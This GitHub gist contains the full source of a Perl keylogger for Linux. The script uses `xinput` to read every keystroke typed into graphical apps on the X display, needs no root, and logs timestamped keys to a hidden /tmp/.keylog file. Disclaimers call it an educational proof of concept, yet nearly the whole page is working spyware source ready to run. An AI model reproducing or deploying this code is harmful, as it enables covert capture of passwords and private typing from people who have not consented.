Created
May 4, 2011 17:41
-
-
Save voyeg3r/955636 to your computer and use it in GitHub Desktop.
Keylogger (linux)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl -w | |
# source: http://www.kirsle.net/blog/kirsle/building-a-better-keylogger | |
# keylog2 - a rootless keylogger that only requires an X server and the xinput | |
# command (provided by xorg-x11-apps on Fedora). You'll also need to install | |
# the Perl module IO::Pty::Easy. | |
# | |
# Unlike my first keylogger proof-of-concept, this one doesn't require root | |
# privileges because it just uses the X Window System. Therefore it only | |
# catches key inputs made to graphical programs on the same X server that the | |
# keylogger runs on. | |
# | |
# How it works: running `xinput list` lists all your X input devices. There's | |
# a keyboard device named "AT (something)", mine is "AT Translated Set 2 | |
# keyboard". Get the ID from the line that says this and then run | |
# `xinput test <id>` and it will start dumping keystroke information as the | |
# user types keys into ANY graphical app. | |
# | |
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error, | |
# so no guarantees it will work for everybody. This is just another proof of | |
# concept anyway, and shouldn't be used for malicious purposes. | |
# | |
# Under the default configuration, the log file is written to /tmp/.keylog | |
# and only logs key release events, except for modifier keys (Shift, Ctrl, | |
# Alt, and Super (Windows key)) where it will also log the Key Down event | |
# (so Alt-Tabbing makes more sense in the log, for example). You can | |
# optionally configure it to log EVERY key down event if you'd like, though. | |
# | |
# Again, this is just a proof of concept and should be used for educational | |
# purposes only, and not for anything malicious. | |
# | |
# --Kirsle | |
# http://sh.kirsle.net/ | |
use strict; | |
use warnings; | |
use IO::Pty::Easy; | |
use IO::Handle; | |
########################## | |
# Configuration # | |
########################## | |
my $conf = { | |
# Log files to write keys to | |
logfile => "/tmp/.keylog", | |
# By default only key-releases are logged. Log key-presses too? | |
log_keydown => 0, | |
}; | |
########################## | |
# End Configuration # | |
########################## | |
# X11 display. | |
$ENV{DISPLAY} ||= ":0.0"; | |
# Make sure we have xinput. | |
if (system("which xinput > /dev/null") != 0) { | |
print "You require the `xinput` command for this keylogger to work.\n"; | |
exit(1); | |
} | |
# Get the input list. | |
my @inputs = `xinput list`; | |
# Find the AT keyboard. | |
my $id; | |
foreach my $line (@inputs) { | |
$line =~ s/^[\s\t]+//g; | |
$line =~ s/[\s\t]+$//g; | |
$line =~ s/[\x0D\x0A]+//g; | |
next unless length $line; | |
if ($line =~ /keyboard/i && $line =~ /. AT/) { | |
($id) = ($line =~ /id=(\d+)/)[0]; | |
} | |
} | |
if (!defined $id) { | |
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n"; | |
exit(1); | |
} | |
print "Keyboard ID: $id\n"; | |
# Track state of modifier keys. | |
our %mod = ( | |
'shift' => 0, | |
'ctrl' => 0, | |
'alt' => 0, | |
'super' => 0, | |
); | |
# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell. | |
my $tty = IO::Pty::Easy->new(); | |
print "Watching `xinput test $id`\n"; | |
$tty->spawn("xinput test $id"); | |
while ($tty->is_active) { | |
my $data = $tty->read(); | |
my @lines = split(/\n/, $data); | |
foreach my $line (@lines) { | |
# Key event? | |
chomp $line; | |
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) { | |
event($1, $2); | |
} | |
} | |
} | |
# Handle key events | |
sub event { | |
my ($event,$sym) = @_; | |
# Only QWERTY keyboards supported. | |
my $key = kbd_qwerty($event,$sym); | |
print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n"; | |
# Log it? | |
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) || | |
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) { | |
my @time = localtime(time()); | |
my $ts = join(" ", | |
join("-", | |
sprintf("%4d", $time[5] + 1900), | |
sprintf("%2d", $time[4] + 1), | |
sprintf("%2d", $time[3]), | |
), | |
join(":", | |
sprintf("%2d", $time[2]), | |
sprintf("%2d", $time[1]), | |
sprintf("%2d", $time[0]), | |
), | |
); | |
open (my $log, ">>", $conf->{logfile}); | |
print $log "[$ts] " | |
. ($event eq "release" ? "<Release>" : "<Press>") | |
. " " | |
. ($key eq " " ? "{space}" : $key) | |
. "\n"; | |
close ($log); | |
} | |
} | |
# QWERTY keysym finder | |
sub kbd_qwerty { | |
my ($event,$sym) = @_; | |
# Modifier keys. | |
my %modkeys = ( | |
50 => 'shift', # L Shift | |
62 => 'shift', # R Shift | |
37 => 'ctrl', # L Ctrl | |
105 => 'ctrl', # R Ctrl | |
64 => 'alt', # L Alt | |
108 => 'alt', # R Alt | |
133 => 'super', # L Super | |
); | |
if (exists $modkeys{$sym}) { | |
my $name = $modkeys{$sym}; | |
$mod{$name} = $event eq "press" ? 1 : 0; | |
return "{\u$name}"; | |
} | |
# Qwerty keys. | |
my %keys = ( | |
# qwerty row | |
24 => [ 'q', 'Q' ], # normal, shift key | |
25 => [ 'w', 'W' ], | |
26 => [ 'e', 'E' ], | |
27 => [ 'r', 'R' ], | |
28 => [ 't', 'T' ], | |
29 => [ 'y', 'Y' ], | |
30 => [ 'u', 'U' ], | |
31 => [ 'i', 'I' ], | |
32 => [ 'o', 'O' ], | |
33 => [ 'p', 'P' ], | |
34 => [ '[', '{' ], | |
35 => [ ']', '}' ], | |
51 => [ "\\", '|' ], | |
# asdf row | |
38 => [ 'a', 'A' ], | |
39 => [ 's', 'S' ], | |
40 => [ 'd', 'D' ], | |
41 => [ 'f', 'F' ], | |
42 => [ 'g', 'G' ], | |
43 => [ 'h', 'H' ], | |
44 => [ 'j', 'J' ], | |
45 => [ 'k', 'K' ], | |
46 => [ 'l', 'L' ], | |
47 => [ ';', ':' ], | |
48 => [ '"', "'" ], | |
36 => "{Return}", | |
# zxcv row | |
52 => [ 'z', 'Z' ], | |
53 => [ 'x', 'X' ], | |
54 => [ 'c', 'C' ], | |
55 => [ 'v', 'V' ], | |
56 => [ 'b', 'B' ], | |
57 => [ 'n', 'N' ], | |
58 => [ 'm', 'M' ], | |
59 => [ ',', '<' ], | |
60 => [ '.', '>' ], | |
61 => [ '/', '?' ], | |
# number row | |
49 => [ '`', '~' ], | |
10 => [ '1', '!' ], | |
11 => [ '2', '@' ], | |
12 => [ '3', '#' ], | |
13 => [ '4', '$' ], | |
14 => [ '5', '%' ], | |
15 => [ '6', '^' ], | |
16 => [ '7', '&' ], | |
17 => [ '8', '*' ], | |
18 => [ '9', '(' ], | |
19 => [ '0', ')' ], | |
20 => [ '-', '_' ], | |
21 => [ '+', '=' ], | |
# space bar | |
65 => ' ', | |
# number pad | |
90 => '{Num-0}', | |
87 => '{Num-1}', | |
88 => '{Num-2}', | |
89 => '{Num-3}', | |
83 => '{Num-4}', | |
84 => '{Num-5}', | |
85 => '{Num-6}', | |
79 => '{Num-7}', | |
80 => '{Num-8}', | |
81 => '{Num-9}', | |
106 => '{Num-/}', | |
63 => '{Num-*}', | |
82 => '{Num--}', | |
86 => '{Num-+}', | |
# F keys | |
67 => '{F1}', | |
68 => '{F2}', | |
69 => '{F3}', | |
70 => '{F4}', | |
71 => '{F5}', | |
72 => '{F6}', | |
73 => '{F7}', | |
74 => '{F8}', | |
75 => '{F9}', | |
76 => '{F10}', | |
95 => '{F11}', | |
96 => '{F12}', | |
# Misc | |
9 => '{Esc}', | |
22 => '{Backspace}', | |
77 => '{Num Lock}', | |
107 => '{Print Scr}', | |
118 => '{Insert}', | |
119 => '{Delete}', | |
110 => '{Home}', | |
112 => '{Pg Up}', | |
117 => '{Pg Dn}', | |
115 => '{End}', | |
111 => '{Up}', | |
116 => '{Down}', | |
113 => '{Left}', | |
114 => '{Right}', | |
135 => '{Menu}', | |
23 => '{Tab}', | |
66 => '{Caps Lock}', | |
); | |
if (exists $keys{$sym}) { | |
if (ref($keys{$sym})) { | |
print "(shift key: $mod{shift})\n"; | |
if ($mod{shift}) { | |
return $keys{$sym}->[1]; | |
} | |
else { | |
return $keys{$sym}->[0]; | |
} | |
} | |
return $keys{$sym}; | |
} | |
else { | |
return "{Unknown: $sym}"; | |
} | |
} | |
[feedly mini] |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment